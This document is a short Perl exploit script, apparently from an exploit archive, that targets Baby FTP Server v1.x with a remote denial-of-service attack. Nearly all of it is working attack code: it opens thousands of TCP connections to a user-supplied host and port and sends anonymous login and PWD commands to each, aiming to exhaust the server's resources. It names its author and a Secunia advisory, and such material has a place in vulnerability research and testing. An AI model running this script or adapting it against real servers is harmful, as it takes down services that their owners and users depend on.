#!/usr/bin/perl
#
# Baby FTP Server v1.x Remote Memory Consumption Exploit.
#
# -------------------------------------------------------
# This can be exploited to use 100% UC.
# Tested with Windows xp sp2
#
# More informations => http://secunia.com/advisories/19338/
#
# -------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft   : Baby FTP Server v1.x\n";
print "[+] Exploit: Remote Memory Consumption Exploit\n\n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>\n";
 		print "[-] Exemple: file.pl 127.0.0.1 21\n";
 		exit;
		}

	$ip = $ARGV[0];
	$port = $ARGV[1];

print "[+] Sending request...\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

for($i=0;$i<10000;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[+]Done! $ip => 100% UC used\n";

	print $socket "USER anonymous\r\n";
	print $socket "PASS a\r\n";
	print $socket "PWD\r\n";

close($socket);
}
print "[+]Done! $ip => 100% UC used\n";